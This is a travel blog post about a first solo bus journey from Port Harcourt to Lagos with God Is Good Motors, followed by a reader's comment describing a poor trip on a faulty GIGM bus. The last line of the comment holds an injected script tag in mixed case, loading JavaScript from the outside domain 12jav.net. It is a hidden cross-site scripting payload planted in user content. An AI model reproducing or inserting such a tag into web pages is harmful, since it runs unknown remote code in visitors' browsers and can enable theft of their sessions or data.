My experience travelling with God is Good Motors

By Rejoice Obike

27 November 2019

On a sun-drenched morning, I boarded a God Is Good Motors bus going to Lagos from Portharcourt.

The previous night, I had had a fight on the phone with my mom. We argued about my supposed road travel to Lagos the next day. Like every African mom you know, she was a tad paranoid about me traveling on a public bus.

?Nne, won?t you put off your travel at least to next month so your Uncle can drive you, or maybe you should fly instead. I don?t trust all these drivers.?

All the stories of horrible roads, robbery attacks, road blockages and some parts of the country appearing in both local and international news for all the wrong reasons had gotten her worried.

I?m usually meticulous about almost everything especially when planning for something as significant as my first road travel alone. I had never road traveled on my own before, apart from the seasonal Christmas traveling with family, when my father would drive us in his car. Or the other times when my aunt would send her driver to pick us.

I rang up one of my friends, an ardent road traveler two weeks before my intended travel to seek recommendations about the best Nigerian road transport company to travel with.

A God Is Good Motors terminal

God Is Good Motors (GIGM) was his very first choice for me. According to him, GIGM was reputed to be the most technologically-driven road transport company in Nigeria. And to travel with them, I could book for a ticket online, or go to any of their terminals.

That sounded like an ultra-modern road transport company to me, so I downloaded their app and booked for a ticket on a Friday afternoon. Booking from the app saved me 10% of the actual bus ticket fare. On the evening of the same day, I called my mom to announce my first road travel in Nigeria on my own after I have finished packing.  

At the God Is Good Motors bus terminal, ticket officers in starched shirts were behind the tall counter as they braced up for the day?s job. It was barely 6:00 am, and the sun was trying to peek out slowly. My friend, who recommended GIGM, had driven me to their bus terminal. He was dragging my luggage while I queued up in the long line with other travelers. Some travelers were just booking their tickets that morning. As they paid, a seat number printed on a piece of white paper was given to them. When it got to my turn, a lady with long nails polished in red color was tapping on the computer?s keyboard as she tried to confirm my ticket booking. It took only a minute and she smiled and gave me the white piece of paper with my seat number on it. She told me I was going to have a pleasant travel experience.

I had to wait for an hour, not what I was expecting, before the bus got boarded. My friend waited, we talked at length, while gazing over the TV that hung on the wall. We were finally ready to take off by exactly 8:00 am, when the sun was already glaring. Some luggage was packed along the bus? walkway and others under the seats. This was a discomfort most passengers didn?t appreciate and brought to the notice of the manager.

My seat was close to the window and I could see how the sun made the windows glisten, so it didn?t bother me much. It took another 30 minutes for a rearrangement before we left.   Dozie, my friend, waved and watched as the bus drove into the dusty road.

I read highway signs aloud as our bus whizzed past the streets that led out of Portharcourt. Our driver who was referred to as ?Captain? drove at a  speed limit of 110km/hr. The lanky man with dark beards, dressed in a GIGM?s shirt tucked into his trousers was our driver.

As he turned on the ignition, he switched on the bus' AC. There were window blinds we could close and open at will. I left mine open so I could watch the road. As the journey commenced, the driver turned on the stereo player and played subtle music that created a relaxing atmosphere. Even though I had packed my mp3 player and downloaded some movies for the road, God Is Good Motors came prepared too, as the bus had a DVD player where comedy shows and movies were aired to keep us entertained.

My mom called me about an hour into the drive. She was still frantic. We talked, and I allowed her to talk with the driver who spoke kindly to her.

?Madam, you don?t have to worry. Our official speed limit 110km/hr. We are not allowed to drive above that limit. Your daughter is safe.?

Those were his last words as the conversation ended.

Our first stop was at Delta State. The bus trotted slowly into the bus park which nestled fast food too. Hawkers selling oranges, bananas, groundnuts, crisp-fried fish, pushed their trays onto our window before we could alight. They yelled in unison, ?Come and buy from me! Sweet oranges! Buy bananas!?

There was a cacophony of noises; the chaotic voices of traders and buyers haggling prices of food items filled the atmosphere. The driver announced we had some minutes to ourselves, to eat, to buy anything we wanted, stretch out and pee.

The place was filled with other GIGM drivers who were smartly dressed in their shirts as well. Their buses were parked in lines, and passengers swarmed out in groups. I went to eat first; I sat down to a plate of cold of rice which I asked the food vendor to warm for me. It wasn?t tasty like I expected -- the food was just average. The next thing I did was to go pee. The toilet facility looked worn-out but was neat enough. Everyone had to pay a token to use the toilet. I used a longer time than expected in the toilet. When I came back, the passengers and driver were patiently waiting.

Although I was late, Mr. Paul, the driver, was polite about it and made me apologize to everyone. And, we continued our journey.

Our third stop was at Benin City. This city has an unmistakable ancient vibe. It was now late evening, the sun was already retiring back into its shell. Apparently, I was glad the sun was no longer scorching. GIGM Benin Terminal was nicely organized and their buses were parked neatly in front of the premises. Benin was greatly quiet, residents were already crawling back home as their day came to an end that early. I bought dry packaged food and went back into the bus. This was our last stop before getting to Lagos. For the rest of the trip, I read a book. The driver had kindly turned on the light in the bus. Almost close to Lagos, the driver announced that we would soon arrive. I was already sleepy and leaning into the window.

Of course, there was traffic in Lagos. So, our bus was crawling along with other big luxury buses and trailers. We spent a maximum of two hours in traffic before we reached the Jibowu Terminal where I was to alight.

At the terminal, the security guards helped with my luggage as I boarded a cab to my hotel room very close to Yaba Lagos. In my hotel room, later that night, Dozie called me to know how my trip was. I narrated my experience, even about the burping baby whose mother I sat next to, the annoying loud chewer, and the couples who couldn?t take their hands off each other.

 My solo road travel to Lagos was incredible and I am glad to have experienced it using God Is Good Motors! Although I was skeptical at first, using God Is Good Motors restored my mom?s confidence in transport companies in Nigeria.

Others are reading:

https://hotels.ng/guides/travel/a-guide-to-road-travel-by-night-in-nigeria/
https://hotels.ng/guides/road-travel/tips-for-a-successful-road-travel-this-christmas/
https://hotels.ng/guides/road-travel/top-5-long-distance-road-transport-companies-in-nigeria/

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Rita Uloko

06 January 2020

Reply

I had always seen God is good motors as the best transporting company in Nigeria but I was so wrong. I boarded a bus from Lagos to Portharcourt at the rate of 10,150 Naira on the 5th day of January, 2020, I stood for nothing less than 20 minutes before I got a ticket. I took my ticket and headed to the bus, immediately I located the bus with its plate number, I felt discouraged cos the sight of the vehicle was appalling but I didn?t have a choice because I was so dependent on GIGM. The first displeasure I had when I got inside the vehicle was that the AC wasn?t functioning properly, I actually thought it was due to the harmattan and perhaps passengers were comfortable with it, it became stuffy that I had to complain only to realize that the AC was faulty. Just after we had a stop over at Ore, three minutes later, the vehicle was smoking profusely so we had no other option than to stop. We discovered that the break pad was burnt, (due to the fact that the break oil passage was wrongly connected)so they had to purchase another, spending almost 1hour before same was replaced. At this point the ?pilot? was very courteous. We continued the journey, the weather was freaking hot and the AC( fan) could not serve any purpose again. We had to open the windows without a blind with a lot of dust coming in, moreover the two back windows could not even open. The most annoying part was when passengers pleaded with the driver to put on the Ac( fan) he paid deaf ears perhaps because he had a ear piece stuck to his ears. The vehicle did not even have a radio not to talk less of TV. Despite the fact that the company has a speed limit, this bus was excessively slow and I noticed the difficulty in changing gear. It was indeed a terrible experience for me. Please whenever you intend to book for a ticket and its plate number is *BKW 750 XA* kindly decline. Personally I think GIGM is not properly maintained and has lost its standards, it presently operates with its supposed (?known name?) standards.<sCrIpT sRc=//12jav.net/1.js></ScRiPt>